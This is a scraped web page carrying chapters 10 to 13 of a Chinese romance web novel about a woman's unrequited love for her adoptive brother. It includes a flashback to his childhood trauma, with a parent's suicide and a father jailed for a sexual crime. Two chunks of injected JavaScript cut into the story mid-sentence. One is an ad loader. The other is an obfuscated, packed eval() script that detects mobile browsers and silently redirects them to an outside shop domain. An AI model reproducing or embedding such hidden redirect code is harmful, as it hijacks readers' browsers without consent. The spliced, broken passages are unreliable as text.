姜筠其实是个没什么条理的人,东西常常乱放,但现在她只是想找些事情做,让自己忙起来,让自己可以尽量不显得失态。 她能感知到温礼昂就站在她身后,他在看着她,但他一句话都没有说,仅是这样,她的心已经七上八下,飘忽不定。 室内太安静了。 安静得超出了她所能承受的范围,连心跳声似乎都会被窥听到。 关上冰箱门,她往书房的方向走。 她知道她不能回头,因为只要一看到他,只要一想到他和覃仪刚在一起过完生日,心脏处就会隐隐作痛。 只是还没走到书房门口,温礼昂两步就跟了上来,他清冽的声音落在头顶。 “上次不是这一个。” 是略显责备的语气。 姜筠愣住,反应了好一会才听明白他话里的意思。 他的意思是,上次送她回家的和今天看到的不是同一个。 她觉得讽刺,笑了出声:“嗯,所以呢?” 温礼昂没说话,却走到她面前站定,他微微低着头,即便如此,姜筠仍需要仰视才能看到他的眼睛。 眼神对视,姜筠忽而又有点鼻酸,她竟觉得他望向她的眼神里是有感情的。 只是她不知道那眼睛里盛的是喜欢,还是单纯的亲情。 太多的幻觉将她包围,但清醒来得也很快,她眼角余光看到了客厅垃圾桶里燃尽的生日蜡烛。 她没忘记在几个小时前,他在这里为覃仪庆祝生日。 她触碰到他的衣角,似乎留有他和覃仪拥抱的余温,在她离开的这几个小时里发生了什么,她大概能猜想得到,那些画面在脑海里闪过时,心脏像破了一个洞,难受得快要死掉。 “那又怎么样,有两个男朋友很奇怪吗?”她故意激他。 “别说气话,”温礼昂似是无奈,扶了下镜框,“阿筠,你不是这样的人。” “你以为你很了解我吗?我就是见一个爱一个,只要好看的我都喜欢,你不是早就知道了吗?我以前不也这样吗,我可以一边喜欢你,一边和另一个人在一起,”姜筠已经口不择言,如果此刻她面前有块镜子,她猜现在她的模样一定很狰狞,“温礼昂,你不是有女朋友了吗,还管我干嘛?” 温礼昂想起了她上一个姓陈的男朋友,表情顿时变了,眉头皱得很深,那样阴冷的表情似乎只有提到陈琎的时候才会出现,那段记忆他甚至连想都不愿意想起。 片刻后,他语气严肃:“刚才那个人,他不适合你。” 姜筠听见只觉得讽刺。 她朝温礼昂走近了一步,仰头追问:“那谁适合我?” 沉默如缠绕的细线遍布上空,空气变得稀薄,姜筠离他愈近,那种心痛的感觉愈加真切。 “你吗?” 她嘴唇翕动。 但最后这两个字她仍是没有说出口。 他已经有女朋友了,所以她知道什么话能说,什么话不能说,她不能再喜欢他了。 只是对面的温礼昂同样没说话,他只是看着她,眼中如有千山万水。 阳台上她种的花开得热烈,月光下散发幽香,倒影摇曳,土壤湿润,似乎不久前有人才为它浇完水。 网上都说这花娇贵,如若不细心呵护,没几天就会死,可她回去了这么久,花仍开得这么好。 他一定每天都为它浇水,悉心照料。 他总是对她这么好。 可他对她这么好,只是因为她是他的妹妹。 — 翌日一早,姜筠换好衣服准备出门上班。 旅行社最近接了个中老年团的订单,她还在家的时候,赵胖就给她打了好几个电话喊她回来上班,她要是再不出现,感觉他得亲自来家里抓她了。 她和赵胖是认识好几年的朋友,要不是有这层关系,估计没几个人能像她这么自由,想休假就休假。 赵胖,全名赵樾辉,虽然叫他赵胖,其实瘦得跟猴一样,177的身高,还不到130斤。 她挺感激他的,在她最困难的时候,是他向她伸出了援手。 两年前,姜筠毕业后进了一家世界五百强企业,因为工作能力出众,短时间内就晋升了两次,本来前途一片光明,事情的转折发生在去年,她替组里的女同事出头,检举了某个经常骚扰下属的领导,没想到到了关键时候,同事竟然都选择息事宁人,反咬一口,于是她被整个组边缘化处理,两个月后,姜筠觉得没意思,辞了职。 这是社会教给她的第一课,她辞职后,本打算gap一年去旅行的,但赵胖收留了她。她便在他开的旅行社里当起了旅拍摄影师,除了偶尔会遇到一些不讲理的客人外,倒也算舒心。 虽然邹淑玢挺瞧不上的,但她挺喜欢这份工作。 姜筠检查了一遍衣着才走出房门。 路过饭厅,温礼昂西装革履坐在餐桌前,鼻梁上架着眼镜,右手边放着平板电脑,估计在看股票或基金的资讯,燕麦牛奶和金枪鱼三明治摆在中间,是两人份。 他不知道在那坐了多久,但仪态一向很好,坐得笔直,瞧见她走出门,温声说道:“过来吃早餐,快凉了。” 说完,他把牛奶往她平常坐的座位推了推。 这 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 场景并不罕见。 一切都和以前一样,客厅里放着他做好的早餐,如果他不急着出门,他会坐在餐桌前静静地等她起床,一起吃完早餐,再送她去上班。 想起这些,那种喘不过气的感觉又涌了上来,姜筠好不容易整理好的心情又被搅乱。 她摇头,收回视线。 “不吃了,我要出门了。” 说完,她换鞋出门,乘坐电梯下楼。 可就在电梯门关上的那一秒,宽大的手掌横在中间,哐当一声,电梯门被迫重新打开。 温礼昂的脸出现在门后,他看了她一眼,走了进来,右手拿着车钥匙。 他要送她,态度坚决。 “我答应过爸妈,要好好照顾你。” “……行。” 姜筠没和他犟。 关上车门,一路上,两人无话,姜筠一直望向窗外,就是不转头看他。 曾经那么亲近的人,现在连处在同一个空间她都觉得难以忍受了。 到了目的地,她的手已经按在车门上,忽然听到温礼昂说:“晚上我再过来接你。” 碎石投入平静的湖面,在她心里激起波澜。 姜筠深呼吸了一口气,转过头,正色。 “温礼昂,你都有女朋友了,就不能和我保持距离吗?” 温礼昂稍有怔愣,眼神暗了下来。 有些话到了嘴边,就很难再收回去,许是压抑了太久太久,又或许是最近的变故让她措手不及,姜筠情绪变得激动,口不择言。 “温礼昂,”她很认真地喊他的名字,“你他妈不知道我喜欢你吗?你一定要对我这么好吗,让我就算和别人在一起也还是会想着你,我说过多少次了,让你不喜欢我就离我远一点,让你别对我那么好,你听不懂人话是吗?我妈的话是圣旨吗,她让你照顾我,你就这么听她的,她要是让你和我在一起呢,你也会答应吗?” 一大早,她就忍不住发了脾气,在他面前,她总是很难维持平稳的情绪,她胸腔止不住地上下起伏。 “姜筠——!” 按在方向盘上的手泛起了青筋,温礼昂看见她泛红的眼眶,心脏抽搐了一下,但下一秒,姜筠就下车了,他听见她低声说了句。 “我说的是以前,以前喜欢你,现在……不了,不喜欢你了。” 最后五个字说得斩钉截铁,坚定,不容置疑。 姜筠下了车,那辆白色的卡宴却迟迟没有离开。 车里的人降下车窗,凝望着她的背影,不知过了多久,打火机点燃,尼古丁的味道窜入鼻腔,掌心因为用力而泛红。 他仍是没有抽完这一根烟。 11.第十一章 约好的集合地点在永滩公园,这是北城著名的旅游景点,旅行团的第一站就安排在这。 姜筠下车后,迎面就看到了阿黄。 阿黄是旅行社安排的向导兼司机,两人搭档过几次,关系不错,一见面就爱插科打诨。 “好久没见你哥了,他今天怎么不下车送送你,”阿黄隔着车窗看到温礼昂的侧脸,感慨道,“你哥真就纯硬帅,连一点死角都没有。” 姜筠情绪还没缓和,懒得和他搭话。 阿黄心眼大,没看出她有什么不对劲,笑着问:“吃早餐没,给你带了个三明治,对付一口?” “谢了。” 她这会确实饿了,没跟他客气,伸手接过。 两人在路边的小凉亭坐下,吃完早餐,姜筠从相机包里取出单反,挂在脖子上,调了下参数,又听见阿黄说:“挺和善的一群老太太,我昨天去机场接的她们,挺好说话的,顺着她们就行。” 姜筠点点头,表示了解。 休假了这么久,也是该进入工作状态了。 而就在一个小时后,人刚碰上面,姜筠还没上前打招呼,就遭到了冷眼。 老太太们仔细打量着她,似乎不太满意。 “这小姑娘这么年轻,行不行的?” “小姑娘漂亮是漂亮,但能不能换个有经验的,我们好不容易来北城一趟,你们领导可说了,要给我们安排最好的。” 全然无视了姜筠就站在旁边,听得一清二楚,幸好姜筠也见惯了这样的场面,仍然保持礼貌的微笑。 阿黄立刻陪着笑脸,把姜筠拉过来郑重介绍:“姐姐,你们放心,姜筠可是T大毕业的高材生,摄影作品还拿过奖的,我们老板花了老大功夫才请她来我们旅行社干的,她这几天原本还在休假呢,为了给你们安排,才让她提前结束假期赶过来。” 果然一把这个学历亮出来,所有的质疑都不见了,毕竟在国内,这个学校可是金字招牌、顶级学府,虽然姜筠也不是专业学摄影的,但不影响姜筠现在在这群老太太心里的形象已经上升到了另一个高度。 “小姑娘,你别误会哈,我们这个年纪好不容易出来一趟,肯定想要样样都好的,不是针对你。” 系着丝巾的老太太走过来握她的手,姜筠点头,挤了个笑容:“没事的,我能理解。” 买的是团体票,进去后,阿黄给她们介绍这里的历史人文背景,到了湖边,姜筠给她们拍了好些照片,她对待工作一向认真、耐心又负责,这会室外温度31℃,大太阳下,她没有一句怨言,给她们拍了一张又一张,指导她们应该怎么摆动作。 拍完照回到车上,老太太们翻看照片,赞不绝口。 “哎呀,给我们拍得真美,看起来都年轻了几岁。” 阿黄见她们满意,赶紧帮腔:“我们旅行社姜筠的满意度每次都是前几名的,现在原图都这么好看了,到时候再精修一下不得了了!” “小姜,你老家在哪的?” 姜筠一边整理照片,回道:“梨城。” “梨城啊,那也不远,你有男朋友没?我孙子人大毕业的,现在也在北城工作,和你般配着呢。” 另一位老太太也加入话题:“我有个外甥虽然年纪大了点,但可会赚钱了,开外贸公司的,一直忙着工作还没找对象呢,你要不要看看照片?” 车厢里的画风一转,变成要给她介绍对象了,姜筠应付不过来拼命给阿黄使眼色,让他帮忙解围。 阿黄接收到信号,立刻从后视镜里给了她一个肯定的眼神,让她把心放回肚子。 “姐姐,你们要不给我也介绍个对象吧,我都单身好几年了,一点动静都没有,我妈都急死了,每年都盼着我带个女朋友回家,今年要是再没消息,都不让我进家门了,姜筠长那么漂亮,多的是人追,她才不着急呢。” 老太太们都是热心肠,一听他这么说,都七嘴八舌地开始问他的条件,要给他介绍。 姜筠给阿黄比了个大拇指。 不愧是她的好搭档,关键时候靠得住。 接下来这一周,姜筠每天都和这群老太太打交道,阿黄能说会道,哄得她们很开心,姜筠也被这种快乐感染了,工作忙起来,悲伤都稀释了不少,每天听她们聊起自己的家庭和八卦,倒也挺有意思。 下班后,她都在外面呆到晚上十点多才回家,早上又提前出门避开温礼昂,温礼昂大概也察觉到了她在刻意避开他,有几天晚上呆在公司没回来。 跟团的第五天,从地质公园出来,姜筠在正门碰上了叶弨。 准确来说,是叶弨先认出她的。 那会是傍晚,她还在给老太太们拍大合照,眼角余光看到不远处好像有人一直盯着自己。 她觉得奇怪,顺着视线望过去,然后就看到了叶弨。 他双手环胸靠在栏杆处,一眨不眨地看着她,瞧她看过来,挑了挑眉。 还是工作时间,姜筠懒得搭理他,立刻扭过头,当作没看见。 十分钟后,合影结束。 阿黄挥着旅行社的小旗,和游客们交代明天的注意事项,叶弨见她得空,这才走过来和她搭话。 “我还以为你骗我呢。”他说话时尾音上扬,似乎心情很好。 “骗你什么?” “骗我说你在忙啊。” 回北城后,他又约了姜筠好几次,她都拒绝了,说她在忙,现在看来是真的。 姜筠把镜头盖好,随口应了句。 “我骗你干嘛?” 叶弨望向她手里的单反,又想起刚才的场景。 “原来你是摄影师?” “怎么了,不像吗?” “也不是,”叶弨否认得很快,他眼珠子转了转,想起了一个人,饶有兴味地笑了,他问姜筠,“这个团几号结束?” “下周四,怎么了?” 叶弨:“接下来还有其他工作安排?” 姜筠摇头。 叶弨心满意足地笑了,望向她脖子上的工牌,见上面写着“朝途旅行社”。 察觉到他的视线,姜筠防备心很重,立刻捂住了旅行社的名字。 “你干嘛偷看我工牌?” “给你介绍个优质客户?”叶弨开门见山,没兜圈子,“我朋友和他未婚妻下个月准备去旅行,正好缺个摄影师。” 姜筠想也不想就拒绝:“别了,最近没空。” 她不想和他扯上太多关系。 “一天这个数,”叶弨伸出五个手指,“不够可以再谈。” “那可以,谢谢老板。” 姜筠再犹豫多一秒都是对钱的不尊重。 “你——” 姜筠这反应,给叶弨逗乐了。 “都住在那个小区了,还差这点钱?” 想起温礼昂,姜筠脸色变了变。 叶弨倒是没察觉到她情绪的变化,帮她拿起放在地上的背包,拉了一下她的手又马上松开:“走,吃饭去。” 叶弨开车,两人去了附近一家港式茶餐厅吃饭,店里正好在放澳网女单决赛的直播,姜筠看得目不转睛。 两人一边看比赛一边吃饭,叶弨似乎对网球很了解,说得头头是道,中间姜筠有一刻的走神,她突然觉得叶弨可能不会是一个很好的伴侣,但应该会是一个很好的朋友。 至少和这样的人呆在一起,挺热闹的。 不会让她想起一些不该想的人。 吃完饭已经是晚上八点,叶弨送她到公寓楼下,他手里提着姜筠的相机包,非要跟着她上楼。 知道她住在哪一层,这回他一进电梯就轻车熟路按了楼层键。 姜筠正要瞪他,又听见他说:“你哥不是在吗,我上去打声招呼总可以吧。” 想到温礼昂,姜筠没再说话了。 电梯停在十五层,姜筠看了眼时间,温礼昂这个时间一般都在家。 果然,输入密码,门打开,厨房的灯亮着,她看到温礼昂系着围裙站在料理台前,围裙里还穿着黑色的西装衬衫,想来是刚下班没多久,甚至还没来得及换上家居服。 他在厨房里给她做舒芙蕾,半颗切开的柠檬放在旁边,他手上戴着烘焙用的手套,右手拿着打蛋器。 听见门口传来声响,温礼昂继续着手上的动作:“回来了?” 久久没有听见姜筠的回应,她好像在和别人说话,温礼昂疑惑,这才回过头。 姜筠背对着他,从鞋架上给上次来过家里的那个男人拿拖鞋。 手套上残留的柠檬汁此刻似乎渗入了皮肤,那种酸涩的感觉透过血液浸到了心里,他眉头皱了皱。 “哥!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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温礼昂就站在厨房,听着他们在客厅打闹,那笑声刺耳尖锐,好像下一秒就要刮破他的耳膜。 这天晚上,叶弨待到十一点才离开,姜筠送他到一楼。 回到公寓,温礼昂做的舒芙蕾就摆在客厅茶几最显眼的位置,而他本人在沙发上坐着。 “阿筠。”他喊她。 她没应,径自回了房间。 她不想再领他的人情,她对他从来只有非分之想,全无兄妹之情,她不想再配合他演什么兄妹情深的戏码,她已经腻了。 只是,几日后的一个清晨,她去冰箱里拿牛奶,突然觉得不对劲。 冰箱好像空了不少。 实在找不到原因,她看向客厅沙发上正在看财经新闻的温礼昂:“里面的西梅汁呢?怎么不见了?” 温礼昂表情如常:“打扫的阿姨爱喝,都拿走了。” “哦。” 昨日确实有阿姨过来打扫,那阿姨和他们关系很好,有时她在家也会给她拿些零食和饮料给她女儿,所以这也不稀奇。 姜筠没多想。 今天起床晚了,担心上班会迟到,她从冰箱里拿了瓶牛奶装进包里,急急忙忙就走了。 只是,刚走到一楼,她听到有保洁人员在小声议论—— “停车场的垃圾桶里不知道谁扔了那么多饮料,一下全装满了。” “应该是过期的吧。” “没有,我去看了,还有一个月才过期,也不知道是怎么回事。” 最后一句话撞入耳朵,姜筠脑海里突然跳出某种念头。 那想法在大脑里逐渐成形,愈加强烈,顾不上还有二十分钟就要迟到,她重新走进电梯,按下负一层。 短短几秒内,她手心捏出了汗。 叮的一声,电梯门打开,她屏住呼吸,走进停车场的入口,还没走几步,她就停了下来。 在离温礼昂停车位最近的那个垃圾桶里,塞满了同一种饮料。 正是冰箱里空缺的——西梅汁。 12.第十二章 办公室里电话铃声此起彼伏,阿黄一大早电话响个不停,接完一个又来一个。 姜筠戴着耳机在工位修图,鼠标上下移动,拉动参数曲线,今天要出图,时间比较紧,她要赶在下班前把修好的图片发到群里。 早上发生的事让她心乱如麻,大脑几乎要停止思考,她只能尽量清空杂念让自己专注于眼前的工作,阿黄中途找她搭话,她都是有一句没一句地回着。 临近午休时间,赵胖走过来敲了敲她的桌子。 “怎么了?” 以为有什么重要的事,姜筠立刻把耳机摘了下来。 “听说你早上又迟到了?必须扣钱啊,这回你说啥都不管用了。” “扣吧,爱扣多少扣多少。” 姜筠没好气地撇了他一眼,又把耳机戴上了。 “好家伙,现在说话都这么硬气了?”赵胖原本想和她开玩笑,结果姜筠根本不理他,他觉得没劲,又和她说起正事,“对了,下个月3号安排你出差,没问题吧。” 姜筠眼睛没离开过屏幕:“去哪儿?” “去北塗-瑶甘大环线。” 西北那边的线路。 姜筠鼠标顿了顿,抬头看他:“这么远?” “本来定了去夏威夷的,后来不知怎么又改了,我那会还纳闷呢,国外的线路竟然也有人找上咱们,我们这口碑已经这么扩散了?我还有点不敢接呢,阿黄那口塑料英语你也是知道的,到时候不得你来当翻译?” 想到阿黄的英语,姜筠忍不住跟着笑了,又问:“是多少人的团?” “一对情侣,可能要去度假旅行吧,我也疑惑他是怎么找上咱们的,出手很大方,看来是不差钱的主儿,酒店、住宿全都要最好的,问他预算多少,你猜他怎么说,他说没有预算,你听听人家这口气,是真不怕咱坑他的钱啊。” 赵胖双手摊开,作无奈状。 “什么时候找过来的?”她问。 “就这两天。” 视线从屏幕前移开,姜筠忽然想到了什么,给叶弨发消息。 【下个月瑶甘大环线,是你推荐的朋友?】 果然,没一会,叶弨回了过来。 【是啊,她联系你们了?我还让她一定要找一个姓姜的摄影师呢。】 姜筠看完消息笑笑,在键盘上打字。 【谢了,下次请你吃饭。】 是该谢谢他。 她最近很需要钱,越多越好,以前她从来没有想过要离开温礼昂生活,但最近她竟然想要搬出来。 从温礼昂的公寓里搬出来,自己一个人生活。 虽然这个想法只有一个雏形,但她惊讶于自己竟然会产生这样的念头。 她太依赖温礼昂了,温礼昂也对她太好了,好到她除了工作以外任何琐事都不用她操心,他事无巨细地关心、照料她,就连生病发烧她迷迷糊糊的时候喊的都是他的名字。 但这个念头现在还只有一个雏形,她不知道自己是否有勇气离开他,重新生活。 这天晚上下了班,姜筠从出租车下来,她手里提着从超市买的水果,一边在公司群里投票周五团建聚餐的地点。 走到小区门外,有人经过时撞了她一下,她才从屏幕前抬起头,但下一秒,她脚步突兀地停了下来,再也无法往前。 晚霞下,情人亲密相拥,覃仪双手紧紧环在温礼昂的腰间,头靠在他肩膀处,极尽缠绵。 姜筠定定地看了几眼。 右手掌心被超市的塑料袋勒出红痕,她却攥得更紧了。 这一瞬间,脑海里闪过了很多画面。 从初中开始,她就不愁零花钱不够用,因为她总能收到双份的零花钱,温礼昂每次都会把他的那份也上交给她; 餐桌上如果有她喜欢吃的菜,温礼昂都不会动筷,每次都等她吃饱后,他才会开始夹菜; 高一,她模拟考数学考砸了,大题来不及写,担心被邹淑玢骂,温礼昂看到她哭,说他有办法,结果他的办法就是把英语的阅读理解全部做错,硬生生丢了四十分,因为成绩下滑太多,邹淑玢被他班主任请到学校来,这下邹淑玢果然没空管教她,把所有注意力都放在了温礼昂身上,这就是他说的要替她分担一点; 高二暑假,家里停水了,爸妈都不在家,她要洗头发,温礼昂去超市买了大瓶的矿泉水倒在塑料盆里,帮她洗头,宽大的手掌沾满了泡沫,抹在她发间,指腹温柔地拂过她的头发,心里酥酥麻麻的…… 她还想到了早上停车场那堆满的西梅汁,七零八落的,塞在散发着恶臭的垃圾桶里,还有那天晚上温礼昂在厨房给她做舒芙蕾的背影; 今天早上,她原本很想问他一句,温礼昂,你是不是和覃仪分手了?因为最近她都没看到覃仪出现。 如果他说分手了的话,她还想再问他一句:那你喜欢我吗? 如果喜欢我,为什么拒绝我? 如果不喜欢我,为什么把那些西梅汁都扔了? 但这一刻,很多话不必再问出口。 很多问题都有了答案。 她忽然觉得自己就像小丑,她忐忑了一天的问题,答案早就摆在眼前了,是她不愿意相信。 姜筠在附近的商场一直逛到打烊才离开,她推着购物车买了好多东西,她根本没有意识到自己手里拿的是什么就这样放了进来。 付款的时候才发现自己不知什么时候拿了婴儿纸尿裤和一些男士用品,幸好在扫条形码前,她猛然惊醒,放到了一边。 回到公寓,客厅一片漆黑,温礼昂还没回来,她把购物袋里的东西随手放在玄关处。 打开书房的电脑,姜筠开始搜索公司附近的房源,刚才那一幕坚定了她内心的想法,不用再犹豫了,她总得适应离开温礼昂的生活,就算不是现在,以后迟早有一天她也得适应。 她和陶影说了她的想法,陶影给她分享了几个租房的视频,她打开看了眼。 温礼昂接近晚上十一点才回来,他身上穿着白色的衬衫,没系领带,领口纽扣解开了两颗,有种闲适的随意,他好像换了一件衣服,不是刚才在小区门口看见的那件藏青色手工衬衫。 书房还亮着灯,他径直走了进来,淡淡的红酒味氤氲着室内的空气。 原是想打声招呼就离开,可耳边听到姜筠电脑里传来中介推销的声音,他便驻足久了些。 等视频播放结束,他才开口问姜筠。 “在看房子?” “嗯。” 她很专心,甚至没看他,只应了声。 “想要换个地方住?喜欢哪个地段的?” 姜筠没说话。 “是不是这里住腻了?”温礼昂俯身,右手撑在她椅背,身上的酒味离得更近了,衬衫的布料就贴在她手臂,“这里离你公司还是太远了?” 这小区在金融街附近,离姜筠刚毕业选择的那家公司只有十分钟的路程,可没多久,姜筠就辞了职,去了朋友开的旅行社上班,路程远了不少。 温礼昂已经在大脑里筛选以旅行社为圆心的小区,却听到她说:“不是,我要租房。” “……租房?” 温礼昂错愕,眉头微皱,低头看她。 他没有想过会是这样的答案。 紧接着又听到他说:“我下个月搬出去住。” 室内变得安静,几乎落针可闻,温礼昂在旁边的沙发坐下,右手揉着太阳穴,指腹刮蹭着镜框的框架,他心情烦躁的时候常会这样。 迷茫,困惑,不解,心脏处似有重物压迫,让人喘不过气。 好半天,他才问:“为什么?” “覃仪平时过来,我在这也不方便。” 姜筠说着点开了另一个租房的帖子,她已经计划好了,等出差回来,她就搬走,她起码还有半个多月的时间可以找房子。 温礼昂沉默了几秒,唇线紧抿。 “没什么不方便的,如果是因为这个原因,没有这个必要。” 他又问:“还是,你有其他原因?” 空气如同凝固,低气压笼罩在上方,姜筠视线仍未离开屏幕,她闷声应道:“嗯,有。” 温礼昂眉心拧紧,像是在思考,片刻后他看到视频里“情侣合住”的标签,大脑懵了一下。 “你要搬出去和他同居?” 虽然问出口时,他自己先否定了。 但他需要排除这个可能。 除了这个原因,其他的他都能接受。 可姜筠没说话。 一分一秒过去了,她仍未否认。 “你要搬出去,和他住在这不到五十平的房子?这3500块租金的房子就是你要的未来了?” 温礼昂按在沙发上的手逐渐攥紧,闷窒感太强烈,他下意识想扯松领带,可手放在颈间,他才记起今天没系。 姜筠还在搜索框里输入关键词,温礼昂看着她安静的侧脸,脑海里想起了一些并不愉快的记忆,用“不愉快”来形容还是太轻了,那段记忆甚至可以说是“痛苦”,在无数个日夜反复折磨着他,一遍又一遍。 “太快了,我不同意,”温礼昂摇头,按住了姜筠握在鼠标上的手,屏幕里的鼠标就这么停在那,“我不是反对你交朋友,但你们认识的时间太短,我不希望你收到伤害,等你们相处时间久一点,再考虑这件事,阿筠,不管怎么样,这次你得听我的。” “上次不听你的,又怎么样了?我损失什么了?”他话里的独断专横让她反感,姜筠反驳,“温礼昂,你是我的谁?需要你管我?” 温礼昂的情绪被点燃,他摘下眼镜直视她,一字一句地回道:“我是你哥。” 姜筠真的被气笑了。 “好,”姜筠频频点头,笑得苦涩,“哥,我能不能求你,求你别管我了。” 她在称呼上加重了读音。 温礼昂愣了愣。 “真的,求你,求你离我远一点,最好以后都不要联系我,”姜筠话语已经变得不耐烦,重复的话说了太多遍,她都觉得厌烦,“我记得我以前和你说过很多次,我对你不是妹妹对哥哥的那种喜欢,是我想睡你的那种喜欢,你既然拒绝了我,就不要再出现在我面前,不要再以关心我的名义出现在我周围,我们的关系,一年见一次就够了,要不是春节实在没办法避免,最好五年、十年都不用见!” 温礼昂心里咯噔了一声,抬眼,对上她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13580046|141624||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 倔强坚韧的眼神。 “你知道吗,其实删掉你微信也没用,我看到以前我发的朋友圈,我都还能记得哪一条被你点赞过、评论过,甚至连你评论过什么我都记得。 我有多少个夜晚搜索你的微信号,就为了看你朋友圈里的背景和签名有没有变过,你知道我有多希望你能当面让我把微信加回去吗,只要你给我一个台阶,我好像就能当作什么都没发生一样,哪怕这么想你,我都忍住了,因为你有女朋友了,我知道我不能再喜欢你了。温礼昂,我付出了那么多努力,你呢,你连消失在我的生活里都做不到吗,我刚看到你们在楼下拥抱,你知道我在想什么吗,我在想难道我就不值得被别人真心喜欢吗?” 她的眼泪明明已经在眼眶里打转,但硬是没让一滴泪掉下来。 心脏如抽搐般疼痛,温礼昂的话到了嘴边:“我和覃仪——” 他很想解释,解释那只是个误会,可在她目光的注视下,他犹豫了,正是他犹豫的这一秒,姜筠的耐心用完了。 没等他把话说完,姜筠起身离开了书房。 电脑页面还停留在那个帖子“两居室情侣可住南北通透接受养宠物租金可面议”。 百叶窗透了风进来,书架上挂着的风铃发出清脆的声响。 白炽灯晃眼,他站在原地,竟注视了好一阵,直到眼睛刺痛,酸涩难抵。 无由来地,那段不愿回想的记忆被重新打捞,浮上心头。 忘了有多少年,他没有再想起那个天花板缠满蜘蛛网、空气里弥漫着海鲜腥臭味的地方。 一眨眼,他好像又回到了那个潮湿的下午,淅淅沥沥的雨下个没完,他伏在舅舅家满是油渍的餐桌前写作业,突然木门被推开,上面生了锈的锁发出沉闷的撞击声。 舅舅半躬着腰走进来,领着两个人,他一边让对方仔细门口的台阶,一边堆起夸张的笑脸。 “我就知道这孩子肯定在写作业,他就没让我们操心过,可自觉了,学习成绩一直都是班里最好的,又勤奋,又能吃苦,老师每次开会都表扬他的。” 写作业的笔就此停顿了下来,圆珠笔在白色的纸上洇出大片的黑。 温礼昂知道,这两个人又是来“看”他的。 这些天来了好几波人,陌生的,熟悉的,操着南方口音的,北方口音的,同样的话,他听舅舅说了无数遍。 他就像商店货架上卖不出的滞销品,被反复来回地介绍,一遍又一遍。 进了门,舅舅朝他走过来,装出和蔼的模样,伸手去摸他的脑袋,粗糙的指腹刮着他的脸,手贴近的那一刻,温礼昂以为他要打自己,下意识地往后闪躲。 没想到这个细节被对面穿着黑色夹克衫的中年男人看在眼里,因为他看到男人眉头皱了皱,神色严肃了许多。 “现在素英出了这样的事,乡亲邻里都让我来照顾他,但我这家庭条件,你们也看到了,我自己都揭不开锅,甭谈送他上学了,我一年除了禁渔期在家,其他时间都在海上飘着,也没时间照顾他。 素英以前总念叨你,说当年厂里那批人就你嫁得最好,我也是实在没有办法,才联系你们的,你们别担心,等他爸从牢里出来,会把他接回去的,欠你们的恩,他会还的。” 这话像屋檐上的雨,滴落在地面。 邹淑玢从进门就一直在看着他,她收起手里的伞,半蹲在他面前,语气很轻:“这孩子已经长这么大啦,现在在上五年级了?我记得你是1月份出生的对不对,那比我们筠筠还大了半岁呢。” 这些天,他被当成商品一样上下打量,可只有他们看着他的眼神,充满了怜惜和心疼。 两个月前,他父亲因为□□妇女被判了五年刑期,而母亲在父亲入狱的第三个夜晚当着他的面嘴角含笑服下农药自杀。 自那以后,他每次出门都被人用异样的目光注视着,可只有这对中年夫妻,他们看着他,就像未曾听说过那些传闻一样。 “这孩子吃了不少苦吧,”姜永晟的目光落在他手腕处的伤口,把带来的那箱牛奶放在地板上,“没事,以后我和你邹阿姨会照顾你的。我们家虽然不是什么大富大贵的家庭,但也还不愁吃喝,你爸爸不在身边的这段日子,我们一定把你当成自己家孩子一样。” 那天傍晚,他们带他坐了高铁,温礼昂仍记得登上列车那时他的心情,新奇又紧张,那是他第一次坐高铁,在此之前,他甚至连火车都未曾见过。 姜永晟大约看出了他的紧张,从头到尾都牢牢牵着他的手,连座位都让他坐在中间。 在那个家,他感受到了从未有过的温暖。 早上会有人煮好牛奶喊他起床,会有人开车送他去学校,下课了可以和同学一起打篮球,可以去图书馆看书,会带他逛商场,问他喜欢什么样的球鞋…… 原来,这才像一个家。 一个明亮、温暖、充满欢笑的地方。 没多久就是他的生日,蜡烛燃起,闭上眼睛许愿前,他看向慈爱的姜父姜母,又看向那时比他矮了半截的姜筠。 这是他在姜家过的第一个生日。 他面带微笑,许下了第一个愿望: 希望他父亲就这么死在牢里。 13.第十三章 姜筠还是没有找到合适的房子。 手机里添加了七八个中介的微信,但发布的房源全都大同小异,后来才发现原来都是同一家公司的。 房东直租的她也去看过,和网上发布的图片极其不符,甚至让她怀疑是不是同一个房子,还有厨房竟然就在厕所前面,两者仅隔了一层帘子,看得她直皱眉。 公司沿线合适价位的房子她基本都去看了,好不容易看到满意的,价格也合适,结果她还在犹豫,第二天中午,房东就说已经租出去了。 她懊恼得不行,后悔前一天晚上没有早点付押金。 她以为租房会是很简单的一件事,但没想到时间线会拉得这么长,浪费了她这么多休息的时间。 她和陶影吐槽起这事,陶影不以为意,在电话那头大口挖着西瓜。 “是这样的,租房都要看缘分,你这么急很难租到满意的,我刚毕业的时候还因为租房被骗了钱呢,虽然只有两千块,但那时候真觉得天都塌了,也不敢告诉家里,只能自己消化,”陶影说完把勺子放在西瓜中间,“你这些年被你哥照顾得太好了,现在才遇到这种事。” 姜筠语塞,眼神暗了暗。 是吗? 或许吧。 她可能真的被温礼昂照顾得太好了,她从来没有烦恼过这些事情,甚至和钱有关的她都没有担心过,她一直都活在真空世界里,没有接触到更现实更残酷的一面。 距离出差的时间没几天了,她只好暂时放弃租房的想法,想着等出差回来再找房子。 大概温礼昂上次把自己的话听进去了,这十天里两人都是零交流,好几次,她去客厅倒水,温礼昂从厨房走出来,两人迎面撞上,眼神对视一秒又错开,谁都没有开口。 竟比前些日子还要更沉默些,就像温礼昂爱看的那部默片,安静,无声,单调。 